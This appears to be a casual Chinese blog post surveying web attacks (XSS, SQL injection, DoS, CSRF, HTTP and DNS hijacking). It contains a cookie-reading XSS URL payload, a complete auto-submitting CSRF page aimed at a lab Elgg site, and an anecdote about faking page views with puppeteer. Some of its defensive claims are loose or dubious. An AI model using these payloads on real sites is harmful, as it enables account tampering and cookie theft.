web 攻防 XSS SQL DDos CSRF DNS劫持 HTTP劫持

avatarplhDigital nomad

XSS Cross Site Script - 跨站点脚本攻击

比如留言系统中插入可执行脚本<script>alert('bad!')</script>,由于我的聊天室是react做的,内置就防止这种攻击。

总体来说,XSS分三类

  • 存储型XSS 数据库中有一段可执行的代码
  • 反射型XSS 有这样一个输入框,输入聊天信息。返回相应信息在页面
  • DOM-XSS。
http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

如果用户点击了 如果后台同时不对url进行检查 如果用的ie8以下的浏览器,那就会被hack

如何预防xss攻击呢?输入法过滤嘛 image

用react嘛,

SQL 注入攻击

给数据库插入一段可执行的sql语句,反正我不会写sql语句。

Dos Denial of Service dos攻击

比如我吧,曾经为了刷自己掘金文章访问量,利用nodejs+puppeteer无头浏览器进入到文章页面,持续不断刷新页面,制造假流量,这是最初级的dos攻击。

DDos Distributed Denial of Service 分布式拒绝服务

更加高明的做法是,通过木马程序控制多台机器,同时执行上面步骤 image

CSRF Cross Site Request Forgery(跨站点请求伪造)

比如我的聊天室吧,我会给用户一个access_token,存储在客户端的cookies中,如果z这个token被其他人拿到了会怎样,利用这段token可以实现免登录。 image 利用取巧的办法,比如危险网站有个图片标签,暗藏发送get请求.如果我们所有的都是https,所有转账请求都放在post里面的话,是否可以杜绝? 其实不但get请求携带用户自己的cookie可以伪造,post请求携带用户cookie同样可以伪造.,,唉唉唉,傻人见识短,没见过post请求伪造...

<html>
<body>
  <h1>
    This page forges an HTTP POST request.
  </h1>
  <script type="text/javascript">
    function post(url, fields) {
      //create a <form> element.
      var p = document.createElement("form");
      //construct the form
      p.action = url;
      p.innerHTML = fields;
      p.target = "_self";
      p.method = "post";
      //append the form to the current page.
      document.body.appendChild(p);
      //submit the form
      p.submit();
    }

    function csrf_hack() {
      var fields = `
        <input type='hidden' name='name' value='Alice'>
        <input type='hidden' name='description' value='aaaaaaaaaa'>
        <input type='hidden' name='accesslevel[description]'value='2'>
        <input type='hidden' name='briefdescription' value=''>
        <input type='hidden' name='accesslevel[briefdescription]' value='2'>
        <input type='hidden' name='location' value=''>
        <input type='hidden' name='accesslevel[location]' value='2'>
        <input type='hidden' name='guid' value='39'>
      `
      var url = "http://www.csrflabelgg.com/action/profile/edit";
      post(url, fields);
    }
    // invoke csrf_hack() after the page is loaded.
    window.onload = function () {
      csrf_hack();
    }
  </script>
</body>
</html>

image

http劫持

经常碰到页面开发的时候,莫名其妙弹出小广告,可以是http劫持,这个就需要去了解 #40 输入url到页面展示过程中发生了什么,数据就好比一个数据包,你给服务器发请求,就是数据包的传递,但是数据传递过程中,比如html文件被莫名加入了一段广告代码,但是新出现的https是对http劫持的毁灭性打击,因为数据加密了,都无法识别,更谈不上加一段广告代码。 image

当然如果你非要使用http协议,那么这种情况下如何防止被劫持呢?我们可以从第三方角度考虑这件事情,我是hack先要检车你是否是http协议,如果是,那就劫持,如果是https,那就不劫持,这种情况下我们将http包分成3段发送,让其无法识别我是http协议,那就不存在劫持咯,感觉好扯淡。

dns劫持

通常dns和真实ip形成映射关系,如果这个被劫持,那么你输入google会跳转到百度。